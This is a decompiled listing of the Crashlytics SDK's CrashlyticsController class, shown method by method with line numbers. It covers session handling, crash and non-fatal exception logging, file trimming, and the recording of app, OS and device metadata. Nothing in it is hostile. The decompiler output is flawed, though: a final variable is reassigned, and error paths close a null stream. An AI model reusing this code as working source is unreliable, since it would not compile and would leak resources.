            if (!CrashlyticsController.this.isHandlingException()) {
                CrashlyticsController.this.doWriteNonFatal(now, thread, ex);
            }
        }
    });
}



358
359
360
361
362
363
364
365
366
367

run

Java Code
public void run() {
    if (!CrashlyticsController.this.isHandlingException()) {
        CrashlyticsController.this.doWriteNonFatal(now, thread, ex);
    }
}



361
362
363
364
365

cacheUserData

Java Code
void cacheUserData(final String userId, final String userName, final String userEmail) {
    this.backgroundWorker.submit(new Callable<Void>() {
        public Void call() throws Exception {
            new MetaDataStore(CrashlyticsController.this.getFilesDir()).writeUserData(CrashlyticsController.this.getCurrentSessionId(), new UserMetaData(userId, userName, userEmail));
            return null;
        }
    });
}



369
370
371
372
373
374
375
376

call

Java Code
public Void call() throws Exception {
    new MetaDataStore(CrashlyticsController.this.getFilesDir()).writeUserData(CrashlyticsController.this.getCurrentSessionId(), new UserMetaData(userId, userName, userEmail));
    return null;
}



371
372
373
374

cacheKeyData

Java Code
void cacheKeyData(final Map<String, String> keyData) {
    this.backgroundWorker.submit(new Callable<Void>() {
        public Void call() throws Exception {
            new MetaDataStore(CrashlyticsController.this.getFilesDir()).writeKeyData(CrashlyticsController.this.getCurrentSessionId(), keyData);
            return null;
        }
    });
}



378
379
380
381
382
383
384
385

call

Java Code
public Void call() throws Exception {
    new MetaDataStore(CrashlyticsController.this.getFilesDir()).writeKeyData(CrashlyticsController.this.getCurrentSessionId(), keyData);
    return null;
}



380
381
382
383

openSession

Java Code
void openSession() {
    this.backgroundWorker.submit(new Callable<Void>() {
        public Void call() throws Exception {
            CrashlyticsController.this.doOpenSession();
            return null;
        }
    });
}



387
388
389
390
391
392
393
394

call

Java Code
public Void call() throws Exception {
    CrashlyticsController.this.doOpenSession();
    return null;
}



389
390
391
392

getCurrentSessionId

Java Code
private String getCurrentSessionId() {
    File[] sessionBeginFiles = listSortedSessionBeginFiles();
    return sessionBeginFiles.length > 0 ? getSessionIdFromSessionFile(sessionBeginFiles[0]) : null;
}



396
397
398
399

getPreviousSessionId

Java Code
private String getPreviousSessionId() {
    File[] sessionBeginFiles = listSortedSessionBeginFiles();
    return sessionBeginFiles.length > 1 ? getSessionIdFromSessionFile(sessionBeginFiles[1]) : null;
}



401
402
403
404

getSessionIdFromSessionFile

Java Code
static String getSessionIdFromSessionFile(File sessionFile) {
    return sessionFile.getName().substring(0, SESSION_ID_LENGTH);
}



406
407
408

hasOpenSession

Java Code
boolean hasOpenSession() {
    return listSessionBeginFiles().length > 0;
}



410
411
412

finalizeSessions

Java Code
boolean finalizeSessions(final SessionSettingsData sessionSettingsData) {
    return ((Boolean) this.backgroundWorker.submitAndWait(new Callable<Boolean>() {
        public Boolean call() throws Exception {



414
415
416

call

Java Code
public Boolean call() throws Exception {
    if (CrashlyticsController.this.isHandlingException()) {
        Fabric.getLogger().d(CrashlyticsCore.TAG, "Skipping session finalization because a crash has already occurred.");
        return Boolean.FALSE;
    }
    Fabric.getLogger().d(CrashlyticsCore.TAG, "Finalizing previously open sessions.");
    CrashlyticsController.this.doCloseSessions(sessionSettingsData, true);
    Fabric.getLogger().d(CrashlyticsCore.TAG, "Closed all previously open sessions");
    return Boolean.TRUE;
}



416
417
418
419
420
421
422
423
424
425

doOpenSession

Java Code
private void doOpenSession() throws Exception {
    Date startedAt = new Date();
    String sessionIdentifier = new CLSUUID(this.idManager).toString();
    Fabric.getLogger().d(CrashlyticsCore.TAG, "Opening a new session with ID " + sessionIdentifier);
    writeBeginSession(sessionIdentifier, startedAt);
    writeSessionApp(sessionIdentifier);
    writeSessionOS(sessionIdentifier);
    writeSessionDevice(sessionIdentifier);
    this.logFileManager.setCurrentSession(sessionIdentifier);
}



429
430
431
432
433
434
435
436
437
438

doCloseSessions

Java Code
void doCloseSessions(SessionSettingsData sessionSettingsData) throws Exception {
    doCloseSessions(sessionSettingsData, false);
}



440
441
442

doCloseSessions

Java Code
private void doCloseSessions(SessionSettingsData sessionSettingsData, boolean excludeCurrent) throws Exception {
    int offset = excludeCurrent ? 1 : 0;
    trimOpenSessions(offset + 8);
    File[] sessionBeginFiles = listSortedSessionBeginFiles();
    if (sessionBeginFiles.length <= offset) {
        Fabric.getLogger().d(CrashlyticsCore.TAG, "No open sessions to be closed.");
        return;
    }
    writeSessionUser(getSessionIdFromSessionFile(sessionBeginFiles[offset]));
    if (sessionSettingsData == null) {
        Fabric.getLogger().d(CrashlyticsCore.TAG, "Unable to close session. Settings are not loaded.");
    } else {
        closeOpenSessions(sessionBeginFiles, offset, sessionSettingsData.maxCustomExceptionEvents);
    }
}



444
445
446
447
448
449
450
451
452
453
454
455
456
457
458

closeOpenSessions

Java Code
private void closeOpenSessions(File[] sessionBeginFiles, int beginIndex, int maxLoggedExceptionsCount) {
    Fabric.getLogger().d(CrashlyticsCore.TAG, "Closing open sessions.");
    for (int i = beginIndex; i < sessionBeginFiles.length; i++) {
        File sessionBeginFile = sessionBeginFiles[i];
        String sessionIdentifier = getSessionIdFromSessionFile(sessionBeginFile);
        Fabric.getLogger().d(CrashlyticsCore.TAG, "Closing session: " + sessionIdentifier);
        writeSessionPartsToSessionFile(sessionBeginFile, sessionIdentifier, maxLoggedExceptionsCount);
    }
}



460
461
462
463
464
465
466
467
468

closeWithoutRenamingOrLog

Java Code
private void closeWithoutRenamingOrLog(ClsFileOutputStream fos) {
    if (fos != null) {
        try {
            fos.closeInProgressStream();
        } catch (IOException ex) {
            Fabric.getLogger().e(CrashlyticsCore.TAG, "Error closing session file stream in the presence of an exception", ex);
        }
    }
}



470
471
472
473
474
475
476
477
478

recursiveDelete

Java Code
private void recursiveDelete(Set<File> files) {
    for (File f : files) {
        recursiveDelete(f);
    }
}



480
481
482
483
484

recursiveDelete

Java Code
private void recursiveDelete(File f) {
    if (f.isDirectory()) {
        for (File s : f.listFiles()) {
            recursiveDelete(s);
        }
    }
    f.delete();
}



486
487
488
489
490
491
492
493

deleteSessionPartFilesFor

Java Code
private void deleteSessionPartFilesFor(String sessionId) {
    for (File file : listSessionPartFilesFor(sessionId)) {
        file.delete();
    }
}



495
496
497
498
499

listSessionPartFilesFor

Java Code
private File[] listSessionPartFilesFor(String sessionId) {
    return listFilesMatching(new SessionPartFileFilter(sessionId));
}



501
502
503

listCompleteSessionFiles

Java Code
File[] listCompleteSessionFiles() {
    List<File> completeSessionFiles = new LinkedList();
    Collections.addAll(completeSessionFiles, listFilesMatching(getFatalSessionFilesDir(), SESSION_FILE_FILTER));
    Collections.addAll(completeSessionFiles, listFilesMatching(getNonFatalSessionFilesDir(), SESSION_FILE_FILTER));
    Collections.addAll(completeSessionFiles, listFilesMatching(getFilesDir(), SESSION_FILE_FILTER));
    return (File[]) completeSessionFiles.toArray(new File[completeSessionFiles.size()]);
}



505
506
507
508
509
510
511

listSessionBeginFiles

Java Code
File[] listSessionBeginFiles() {
    return listFilesMatching(SESSION_BEGIN_FILE_FILTER);
}



513
514
515

listSortedSessionBeginFiles

Java Code
private File[] listSortedSessionBeginFiles() {
    File[] sessionBeginFiles = listSessionBeginFiles();
    Arrays.sort(sessionBeginFiles, LARGEST_FILE_NAME_FIRST);
    return sessionBeginFiles;
}



517
518
519
520
521

listFilesMatching

Java Code
private File[] listFilesMatching(FilenameFilter filter) {
    return listFilesMatching(getFilesDir(), filter);
}



523
524
525

listFilesMatching

Java Code
private File[] listFilesMatching(File directory, FilenameFilter filter) {
    return ensureFileArrayNotNull(directory.listFiles(filter));
}



527
528
529

listFiles

Java Code
private File[] listFiles(File directory) {
    return ensureFileArrayNotNull(directory.listFiles());
}



531
532
533

ensureFileArrayNotNull

Java Code
private File[] ensureFileArrayNotNull(File[] files) {
    return files == null ? new File[0] : files;
}



535
536
537

trimSessionEventFiles

Java Code
private void trimSessionEventFiles(String sessionId, int limit) {
    Utils.capFileCount(getFilesDir(), new FileNameContainsFilter(sessionId + SESSION_NON_FATAL_TAG), limit, SMALLEST_FILE_NAME_FIRST);
}



539
540
541

trimSessionFiles

Java Code
void trimSessionFiles(int maxCompleteSessionsCount) {
    int remaining = maxCompleteSessionsCount;
    remaining -= Utils.capFileCount(getFatalSessionFilesDir(), remaining, SMALLEST_FILE_NAME_FIRST);
    Utils.capFileCount(getFilesDir(), SESSION_FILE_FILTER, remaining - Utils.capFileCount(getNonFatalSessionFilesDir(), remaining, SMALLEST_FILE_NAME_FIRST), SMALLEST_FILE_NAME_FIRST);
}



543
544
545
546
547

trimOpenSessions

Java Code
private void trimOpenSessions(int maxOpenSessionCount) {
    Set<String> sessionIdsToKeep = new HashSet();
    File[] beginSessionFiles = listSortedSessionBeginFiles();
    int count = Math.min(maxOpenSessionCount, beginSessionFiles.length);
    for (int i = 0; i < count; i++) {
        sessionIdsToKeep.add(getSessionIdFromSessionFile(beginSessionFiles[i]));
    }
    this.logFileManager.discardOldLogFiles(sessionIdsToKeep);
    retainSessions(listFilesMatching(new AnySessionPartFileFilter()), sessionIdsToKeep);
}



549
550
551
552
553
554
555
556
557
558

retainSessions

Java Code
private void retainSessions(File[] files, Set<String> sessionIdsToKeep) {
    for (File sessionPartFile : files) {
        String fileName = sessionPartFile.getName();
        Matcher matcher = SESSION_FILE_PATTERN.matcher(fileName);
        if (!matcher.matches()) {
            Fabric.getLogger().d(CrashlyticsCore.TAG, "Deleting unknown file: " + fileName);
            sessionPartFile.delete();
        } else if (!sessionIdsToKeep.contains(matcher.group(1))) {
            Fabric.getLogger().d(CrashlyticsCore.TAG, "Trimming session file: " + fileName);
            sessionPartFile.delete();
        }
    }
}



560
561
562
563
564
565
566
567
568
569
570
571
572

getTrimmedNonFatalFiles

Java Code
private File[] getTrimmedNonFatalFiles(String sessionId, File[] nonFatalFiles, int maxLoggedExceptionsCount) {
    if (nonFatalFiles.length <= maxLoggedExceptionsCount) {
        return nonFatalFiles;
    }
    Fabric.getLogger().d(CrashlyticsCore.TAG, String.format(Locale.US, "Trimming down to %d logged exceptions.", new Object[]{Integer.valueOf(maxLoggedExceptionsCount)}));
    trimSessionEventFiles(sessionId, maxLoggedExceptionsCount);
    return listFilesMatching(new FileNameContainsFilter(sessionId + SESSION_NON_FATAL_TAG));
}



574
575
576
577
578
579
580
581

cleanInvalidTempFiles

Java Code
void cleanInvalidTempFiles() {
    this.backgroundWorker.submit(new Runnable() {
        public void run() {
            CrashlyticsController.this.doCleanInvalidTempFiles(CrashlyticsController.this.listFilesMatching(new InvalidPartFileFilter()));
        }
    });
}



583
584
585
586
587
588
589

run

Java Code
public void run() {
    CrashlyticsController.this.doCleanInvalidTempFiles(CrashlyticsController.this.listFilesMatching(new InvalidPartFileFilter()));
}



585
586
587

doCleanInvalidTempFiles

Java Code
void doCleanInvalidTempFiles(File[] invalidFiles) {
    int length;
    int i = 0;
    final Set<String> invalidSessionIds = new HashSet();
    for (File invalidFile : invalidFiles) {
        Fabric.getLogger().d(CrashlyticsCore.TAG, "Found invalid session part file: " + invalidFile);
        invalidSessionIds.add(getSessionIdFromSessionFile(invalidFile));
    }
    if (!invalidSessionIds.isEmpty()) {
        File invalidFilesDir = getInvalidFilesDir();
        if (!invalidFilesDir.exists()) {
            invalidFilesDir.mkdir();
        }
        File[] listFilesMatching = listFilesMatching(new FilenameFilter() {
            public boolean accept(File dir, String filename) {
                if (filename.length() < CrashlyticsController.SESSION_ID_LENGTH) {
                    return false;
                }
                return invalidSessionIds.contains(filename.substring(0, CrashlyticsController.SESSION_ID_LENGTH));
            }
        });
        length = listFilesMatching.length;
        while (i < length) {
            File sessionFile = listFilesMatching[i];
            Fabric.getLogger().d(CrashlyticsCore.TAG, "Moving session file: " + sessionFile);
            if (!sessionFile.renameTo(new File(invalidFilesDir, sessionFile.getName()))) {
                Fabric.getLogger().d(CrashlyticsCore.TAG, "Could not move session file. Deleting " + sessionFile);
                sessionFile.delete();
            }
            i++;
        }
        trimInvalidSessionFiles();
    }
}



591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624

accept

Java Code
public boolean accept(File dir, String filename) {
    if (filename.length() < CrashlyticsController.SESSION_ID_LENGTH) {
        return false;
    }
    return invalidSessionIds.contains(filename.substring(0, CrashlyticsController.SESSION_ID_LENGTH));
}



605
606
607
608
609
610

trimInvalidSessionFiles

Java Code
private void trimInvalidSessionFiles() {
    File invalidFilesDir = getInvalidFilesDir();
    if (invalidFilesDir.exists()) {
        File[] oldInvalidFiles = listFilesMatching(invalidFilesDir, new InvalidPartFileFilter());
        Arrays.sort(oldInvalidFiles, Collections.reverseOrder());
        Set<String> sessionIdsToKeep = new HashSet();
        for (int i = 0; i < oldInvalidFiles.length && sessionIdsToKeep.size() < 4; i++) {
            sessionIdsToKeep.add(getSessionIdFromSessionFile(oldInvalidFiles[i]));
        }
        retainSessions(listFiles(invalidFilesDir), sessionIdsToKeep);
    }
}



626
627
628
629
630
631
632
633
634
635
636
637

writeFatal

Java Code
private void writeFatal(Date time, Thread thread, Throwable ex) {
    Exception e;
    Throwable th;
    ClsFileOutputStream fos = null;
    CodedOutputStream cos = null;
    try {
        String currentSessionId = getCurrentSessionId();
        if (currentSessionId == null) {
            Fabric.getLogger().e(CrashlyticsCore.TAG, "Tried to write a fatal exception while no session was open.", null);
            CommonUtils.flushOrLog(null, "Failed to flush to session begin file.");
            CommonUtils.closeOrLog(null, "Failed to close fatal exception file output stream.");
            return;
        }
        recordFatalExceptionAnswersEvent(currentSessionId, ex.getClass().getName());
        recordFatalFirebaseEvent(time.getTime());
        OutputStream fos2 = new ClsFileOutputStream(getFilesDir(), currentSessionId + SESSION_FATAL_TAG);
        OutputStream outputStream;
        try {
            cos = CodedOutputStream.newInstance(fos2);
            writeSessionEvent(cos, time, thread, ex, EVENT_TYPE_CRASH, true);
            CommonUtils.flushOrLog(cos, "Failed to flush to session begin file.");
            CommonUtils.closeOrLog(fos2, "Failed to close fatal exception file output stream.");
            outputStream = fos2;
        } catch (Exception e2) {
            e = e2;
            outputStream = fos2;
            try {
                Fabric.getLogger().e(CrashlyticsCore.TAG, "An error occurred in the fatal exception logger", e);
                CommonUtils.flushOrLog(cos, "Failed to flush to session begin file.");
                CommonUtils.closeOrLog(fos, "Failed to close fatal exception file output stream.");
            } catch (Throwable th2) {
                th = th2;
                CommonUtils.flushOrLog(cos, "Failed to flush to session begin file.");
                CommonUtils.closeOrLog(fos, "Failed to close fatal exception file output stream.");
                throw th;
            }
        } catch (Throwable th3) {
            th = th3;
            outputStream = fos2;
            CommonUtils.flushOrLog(cos, "Failed to flush to session begin file.");
            CommonUtils.closeOrLog(fos, "Failed to close fatal exception file output stream.");
            throw th;
        }
    } catch (Exception e3) {
        e = e3;
        Fabric.getLogger().e(CrashlyticsCore.TAG, "An error occurred in the fatal exception logger", e);
        CommonUtils.flushOrLog(cos, "Failed to flush to session begin file.");
        CommonUtils.closeOrLog(fos, "Failed to close fatal exception file output stream.");
    }
}



639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688

writeExternalCrashEvent

Java Code
void writeExternalCrashEvent(final SessionEventData crashEventData) {
    this.backgroundWorker.submit(new Callable<Void>() {
        public Void call() throws Exception {
            if (!CrashlyticsController.this.isHandlingException()) {
                CrashlyticsController.this.doWriteExternalCrashEvent(crashEventData);
            }
            return null;
        }
    });
}



690
691
692
693
694
695
696
697
698
699

call

Java Code
public Void call() throws Exception {
    if (!CrashlyticsController.this.isHandlingException()) {
        CrashlyticsController.this.doWriteExternalCrashEvent(crashEventData);
    }
    return null;
}



692
693
694
695
696
697

doWriteExternalCrashEvent

Java Code
private void doWriteExternalCrashEvent(SessionEventData crashEventData) throws IOException {
    Exception e;
    Throwable th;
    ClsFileOutputStream fos = null;
    CodedOutputStream cos = null;
    try {
        String previousSessionId = getPreviousSessionId();
        if (previousSessionId == null) {
            Fabric.getLogger().e(CrashlyticsCore.TAG, "Tried to write a native crash while no session was open.", null);
            CommonUtils.flushOrLog(null, "Failed to flush to session begin file.");
            CommonUtils.closeOrLog(null, "Failed to close fatal exception file output stream.");
            return;
        }
        recordFatalExceptionAnswersEvent(previousSessionId, String.format(Locale.US, "<native-crash [%s (%s)]>", new Object[]{crashEventData.signal.code, crashEventData.signal.name}));
        boolean hasBinaryImages = crashEventData.binaryImages != null && crashEventData.binaryImages.length > 0;
        OutputStream fos2 = new ClsFileOutputStream(getFilesDir(), previousSessionId + (hasBinaryImages ? SESSION_FATAL_TAG : SESSION_EVENT_MISSING_BINARY_IMGS_TAG));
        OutputStream outputStream;
        try {
            cos = CodedOutputStream.newInstance(fos2);
            NativeCrashWriter.writeNativeCrash(crashEventData, new LogFileManager(this.crashlyticsCore.getContext(), this.logFileDirectoryProvider, previousSessionId), new MetaDataStore(getFilesDir()).readKeyData(previousSessionId), cos);
            CommonUtils.flushOrLog(cos, "Failed to flush to session begin file.");
            CommonUtils.closeOrLog(fos2, "Failed to close fatal exception file output stream.");
            outputStream = fos2;
        } catch (Exception e2) {
            e = e2;
            outputStream = fos2;
            try {
                Fabric.getLogger().e(CrashlyticsCore.TAG, "An error occurred in the native crash logger", e);
                CommonUtils.flushOrLog(cos, "Failed to flush to session begin file.");
                CommonUtils.closeOrLog(fos, "Failed to close fatal exception file output stream.");
            } catch (Throwable th2) {
                th = th2;
                CommonUtils.flushOrLog(cos, "Failed to flush to session begin file.");
                CommonUtils.closeOrLog(fos, "Failed to close fatal exception file output stream.");
                throw th;
            }
        } catch (Throwable th3) {
            th = th3;
            outputStream = fos2;
            CommonUtils.flushOrLog(cos, "Failed to flush to session begin file.");
            CommonUtils.closeOrLog(fos, "Failed to close fatal exception file output stream.");
            throw th;
        }
    } catch (Exception e3) {
        e = e3;
        Fabric.getLogger().e(CrashlyticsCore.TAG, "An error occurred in the native crash logger", e);
        CommonUtils.flushOrLog(cos, "Failed to flush to session begin file.");
        CommonUtils.closeOrLog(fos, "Failed to close fatal exception file output stream.");
    }
}



701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750

doWriteNonFatal

Java Code
private void doWriteNonFatal(Date time, Thread thread, Throwable ex) {
    Exception e;
    Throwable th;
    String currentSessionId = getCurrentSessionId();
    if (currentSessionId == null) {
        Fabric.getLogger().e(CrashlyticsCore.TAG, "Tried to write a non-fatal exception while no session was open.", null);
        return;
    }
    recordLoggedExceptionAnswersEvent(currentSessionId, ex.getClass().getName());
    ClsFileOutputStream fos = null;
    CodedOutputStream cos = null;
    try {
        Fabric.getLogger().d(CrashlyticsCore.TAG, "Crashlytics is logging non-fatal exception \"" + ex + "\" from thread " + thread.getName());
        OutputStream fos2 = new ClsFileOutputStream(getFilesDir(), currentSessionId + SESSION_NON_FATAL_TAG + CommonUtils.padWithZerosToMaxIntWidth(this.eventCounter.getAndIncrement()));
        OutputStream outputStream;
        try {
            cos = CodedOutputStream.newInstance(fos2);
            writeSessionEvent(cos, time, thread, ex, EVENT_TYPE_LOGGED, false);
            CommonUtils.flushOrLog(cos, "Failed to flush to non-fatal file.");
            CommonUtils.closeOrLog(fos2, "Failed to close non-fatal file output stream.");
            outputStream = fos2;
        } catch (Exception e2) {
            e = e2;
            outputStream = fos2;
            try {
                Fabric.getLogger().e(CrashlyticsCore.TAG, "An error occurred in the non-fatal exception logger", e);
                CommonUtils.flushOrLog(cos, "Failed to flush to non-fatal file.");
                CommonUtils.closeOrLog(fos, "Failed to close non-fatal file output stream.");
                trimSessionEventFiles(currentSessionId, 64);
            } catch (Throwable th2) {
                th = th2;
                CommonUtils.flushOrLog(cos, "Failed to flush to non-fatal file.");
                CommonUtils.closeOrLog(fos, "Failed to close non-fatal file output stream.");
                throw th;
            }
        } catch (Throwable th3) {
            th = th3;
            outputStream = fos2;
            CommonUtils.flushOrLog(cos, "Failed to flush to non-fatal file.");
            CommonUtils.closeOrLog(fos, "Failed to close non-fatal file output stream.");
            throw th;
        }
    } catch (Exception e3) {
        e = e3;
        Fabric.getLogger().e(CrashlyticsCore.TAG, "An error occurred in the non-fatal exception logger", e);
        CommonUtils.flushOrLog(cos, "Failed to flush to non-fatal file.");
        CommonUtils.closeOrLog(fos, "Failed to close non-fatal file output stream.");
        trimSessionEventFiles(currentSessionId, 64);
    }
    try {
        trimSessionEventFiles(currentSessionId, 64);
    } catch (Exception e4) {
        Fabric.getLogger().e(CrashlyticsCore.TAG, "An error occurred when trimming non-fatal files.", e4);
    }
}



752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806

writeSessionPartFile

Java Code
private void writeSessionPartFile(String sessionId, String tag, CodedOutputStreamWriteAction writeAction) throws Exception {
    Throwable th;
    FileOutputStream fos = null;
    CodedOutputStream cos = null;
    try {
        OutputStream fos2 = new ClsFileOutputStream(getFilesDir(), sessionId + tag);
        try {
            cos = CodedOutputStream.newInstance(fos2);
            writeAction.writeTo(cos);
            CommonUtils.flushOrLog(cos, "Failed to flush to session " + tag + " file.");
            CommonUtils.closeOrLog(fos2, "Failed to close session " + tag + " file.");
        } catch (Throwable th2) {
            th = th2;
            OutputStream fos3 = fos2;
            CommonUtils.flushOrLog(cos, "Failed to flush to session " + tag + " file.");
            CommonUtils.closeOrLog(fos, "Failed to close session " + tag + " file.");
            throw th;
        }
    } catch (Throwable th3) {
        th = th3;
        CommonUtils.flushOrLog(cos, "Failed to flush to session " + tag + " file.");
        CommonUtils.closeOrLog(fos, "Failed to close session " + tag + " file.");
        throw th;
    }
}



808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832

writeFile

Java Code
private void writeFile(String sessionId, String tag, FileOutputStreamWriteAction writeAction) throws Exception {
    Throwable th;
    FileOutputStream fos = null;
    try {
        FileOutputStream fos2 = new FileOutputStream(new File(getFilesDir(), sessionId + tag));
        try {
            writeAction.writeTo(fos2);
            CommonUtils.closeOrLog(fos2, "Failed to close " + tag + " file.");
        } catch (Throwable th2) {
            th = th2;
            fos = fos2;
            CommonUtils.closeOrLog(fos, "Failed to close " + tag + " file.");
            throw th;
        }
    } catch (Throwable th3) {
        th = th3;
        CommonUtils.closeOrLog(fos, "Failed to close " + tag + " file.");
        throw th;
    }
}



834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853

writeBeginSession

Java Code
private void writeBeginSession(String sessionId, Date startedAt) throws Exception {
    final String generator = String.format(Locale.US, GENERATOR_FORMAT, new Object[]{this.crashlyticsCore.getVersion()});
    final long startedAtSeconds = startedAt.getTime() / 1000;
    final String str = sessionId;
    writeSessionPartFile(sessionId, SESSION_BEGIN_TAG, new CodedOutputStreamWriteAction() {
        public void writeTo(CodedOutputStream arg) throws Exception {
            SessionProtobufHelper.writeBeginSession(arg, str, generator, startedAtSeconds);
        }
    });
    str = sessionId;
    writeFile(sessionId, "BeginSession.json", new FileOutputStreamWriteAction() {
        public void writeTo(FileOutputStream arg) throws Exception {
            arg.write(new JSONObject(new HashMap<String, Object>() {
                {
                    put("session_id", str);
                    put("generator", generator);
                    put("started_at_seconds", Long.valueOf(startedAtSeconds));
                }
            }).toString().getBytes());
        }
    });
}



855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876

writeTo

Java Code
public void writeTo(CodedOutputStream arg) throws Exception {
    SessionProtobufHelper.writeBeginSession(arg, str, generator, startedAtSeconds);
}



860
861
862

writeTo

Java Code
public void writeTo(FileOutputStream arg) throws Exception {
    arg.write(new JSONObject(new HashMap<String, Object>() {
        {
            put("session_id", str);
            put("generator", generator);
            put("started_at_seconds", Long.valueOf(startedAtSeconds));
        }
    }).toString().getBytes());
}



866
867
868
869
870
871
872
873
874

writeSessionApp

Java Code
private void writeSessionApp(String sessionId) throws Exception {
    final String appIdentifier = this.idManager.getAppIdentifier();
    final String versionCode = this.appData.versionCode;
    final String versionName = this.appData.versionName;
    final String installUuid = this.idManager.getAppInstallIdentifier();
    final int deliveryMechanism = DeliveryMechanism.determineFrom(this.appData.installerPackageName).getId();
    writeSessionPartFile(sessionId, SESSION_APP_TAG, new CodedOutputStreamWriteAction() {
        public void writeTo(CodedOutputStream arg) throws Exception {
            SessionProtobufHelper.writeSessionApp(arg, appIdentifier, CrashlyticsController.this.appData.apiKey, versionCode, versionName, installUuid, deliveryMechanism, CrashlyticsController.this.unityVersion);
        }
    });
    writeFile(sessionId, "SessionApp.json", new FileOutputStreamWriteAction() {
        public void writeTo(FileOutputStream arg) throws Exception {
            arg.write(new JSONObject(new HashMap<String, Object>() {
                {
                    put("app_identifier", appIdentifier);
                    put("api_key", CrashlyticsController.this.appData.apiKey);
                    put("version_code", versionCode);
                    put("version_name", versionName);
                    put("install_uuid", installUuid);
                    put("delivery_mechanism", Integer.valueOf(deliveryMechanism));
                    put("unity_version", TextUtils.isEmpty(CrashlyticsController.this.unityVersion) ? "" : CrashlyticsController.this.unityVersion);
                }
            }).toString().getBytes());
        }
    });
}



878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904

writeTo

Java Code
public void writeTo(CodedOutputStream arg) throws Exception {
    SessionProtobufHelper.writeSessionApp(arg, appIdentifier, CrashlyticsController.this.appData.apiKey, versionCode, versionName, installUuid, deliveryMechanism, CrashlyticsController.this.unityVersion);
}



885
886
887

writeTo

Java Code
public void writeTo(FileOutputStream arg) throws Exception {
    arg.write(new JSONObject(new HashMap<String, Object>() {
        {
            put("app_identifier", appIdentifier);
            put("api_key", CrashlyticsController.this.appData.apiKey);
            put("version_code", versionCode);
            put("version_name", versionName);
            put("install_uuid", installUuid);
            put("delivery_mechanism", Integer.valueOf(deliveryMechanism));
            put("unity_version", TextUtils.isEmpty(CrashlyticsController.this.unityVersion) ? "" : CrashlyticsController.this.unityVersion);
        }
    }).toString().getBytes());
}



890
891
892
893
894
895
896
897
898
899
900
901
902

writeSessionOS

Java Code
private void writeSessionOS(String sessionId) throws Exception {
    final boolean isRooted = CommonUtils.isRooted(this.crashlyticsCore.getContext());
    writeSessionPartFile(sessionId, SESSION_OS_TAG, new CodedOutputStreamWriteAction() {
        public void writeTo(CodedOutputStream arg) throws Exception {
            SessionProtobufHelper.writeSessionOS(arg, VERSION.RELEASE, VERSION.CODENAME, isRooted);
        }
    });
    writeFile(sessionId, "SessionOS.json", new FileOutputStreamWriteAction() {
        public void writeTo(FileOutputStream arg) throws Exception {
            arg.write(new JSONObject(new HashMap<String, Object>() {
                {
                    put("version", VERSION.RELEASE);
                    put("build_version", VERSION.CODENAME);
                    put("is_rooted", Boolean.valueOf(isRooted));
                }
            }).toString().getBytes());
        }
    });
}



906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924

writeTo

Java Code
public void writeTo(CodedOutputStream arg) throws Exception {
    SessionProtobufHelper.writeSessionOS(arg, VERSION.RELEASE, VERSION.CODENAME, isRooted);
}



909
910
911

writeTo

Java Code
public void writeTo(FileOutputStream arg) throws Exception {
    arg.write(new JSONObject(new HashMap<String, Object>() {
        {
            put("version", VERSION.RELEASE);
            put("build_version", VERSION.CODENAME);
            put("is_rooted", Boolean.valueOf(isRooted));
        }
    }).toString().getBytes());
}



914
915
916
917
918
919
920
921
922

writeSessionDevice

Java Code
private void writeSessionDevice(String sessionId) throws Exception {
    Context context = this.crashlyticsCore.getContext();
    StatFs statFs = new StatFs(Environment.getDataDirectory().getPath());
    final int arch = CommonUtils.getCpuArchitectureInt();
    final int availableProcessors = Runtime.getRuntime().availableProcessors();
    final long totalRam = CommonUtils.getTotalRamInBytes();
    final long diskSpace = ((long) statFs.getBlockCount()) * ((long) statFs.getBlockSize());
    final boolean isEmulator = CommonUtils.isEmulator(context);
    final Map<DeviceIdentifierType, String> ids = this.idManager.getDeviceIdentifiers();
    final int state = CommonUtils.getDeviceState(context);
    writeSessionPartFile(sessionId, SESSION_DEVICE_TAG, new CodedOutputStreamWriteAction() {
        public void writeTo(CodedOutputStream arg) throws Exception {
            SessionProtobufHelper.writeSessionDevice(arg, arch, Build.MODEL, availableProcessors, totalRam, diskSpace, isEmulator, ids, state, Build.MANUFACTURER, Build.PRODUCT);
        }
    });
    writeFile(sessionId, "SessionDevice.json", new FileOutputStreamWriteAction() {
        public void writeTo(FileOutputStream arg) throws Exception {
            arg.write(new JSONObject(new HashMap<String, Object>() {
                {
                    put("arch", Integer.valueOf(arch));
                    put("build_model", Build.MODEL);
                    put("available_processors", Integer.valueOf(availableProcessors));
                    put("total_ram", Long.valueOf(totalRam));
                    put("disk_space", Long.valueOf(diskSpace));
                    put("is_emulator", Boolean.valueOf(isEmulator));
                    put("ids", ids);
                    put("state", Integer.valueOf(state));
                    put("build_manufacturer", Build.MANUFACTURER);
                    put("build_product", Build.PRODUCT);
                }
            }).toString().getBytes());
        }
    });
}



926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959

writeTo

Java Code
public void writeTo(CodedOutputStream arg) throws Exception {
    SessionProtobufHelper.writeSessionDevice(arg, arch, Build.MODEL, availableProcessors, totalRam, diskSpace, isEmulator, ids, state, Build.MANUFACTURER, Build.PRODUCT);
}



937
938
939

writeTo

Java Code
public void writeTo(FileOutputStream arg) throws Exception {
    arg.write(new JSONObject(new HashMap<String, Object>() {
        {
            put("arch", Integer.valueOf(arch));
            put("build_model", Build.MODEL);
            put("available_processors", Integer.valueOf(availableProcessors));
            put("total_ram", Long.valueOf(totalRam));
